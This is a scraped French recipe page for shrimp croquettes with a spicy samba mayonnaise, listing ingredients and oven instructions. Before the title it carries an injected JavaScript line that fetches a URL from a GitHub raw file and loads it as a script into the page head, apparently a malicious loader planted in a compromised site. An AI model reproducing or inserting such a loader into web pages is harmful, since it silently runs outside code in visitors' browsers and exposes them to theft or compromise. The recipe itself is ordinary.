;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Croquettes de crevettes - Haute Nutrition
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Croquettes de crevettes

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Servings 5
Calories 644 kcal

Ingredients
  

Croquettes de crevettes

  • 600 g crevettes matane
  • 45 ml mayonnaise
  • 1 jalapeno haché finement
  • 2 oignons verts hachés
  • 1 oeuf
  • 1 lime zeste et jus
  • 125 ml coriandre fraîche
  • 250 ml poudre d'amandes
  • 15 ml huile d’olive huile d’olive
  • Sel
  • 15 ml moutarde de dijon

Mayo samba

  • 125 ml mayonnaise
  • 15 ml samba oelek au goût
  • 1/2 lime zeste et jus

Instructions
 

  • Bien essorer les crevettes avant la cuisson
  • Croquettes
  • Préchauffer à 425°F. Mettre une plaque à biscuits avec du  papier parchemin.
  • Hacher les crevettes et les déposer dans un bol avec le reste des ingrédients, sauf l’huile.
  • Faire des galettes (12). Bien presser le mélange. Déposer sur la plaque à biscuits. Réfrigérer 15 minutes avant la cuisson.
  • Badigeonner le dessus des galettes d’un peu d’huile.
  • Cuire au four 20 minutes.  Retourner les croquettes à la mi-cuisson

Mayo samba

  • Mélanger les ingrédients de la mayonnaise ensemble et servir avec croquettes

Notes

Servir avec du riz  ou une salade tahini
Cette recettes est inspiré de la recette de K pour Katrine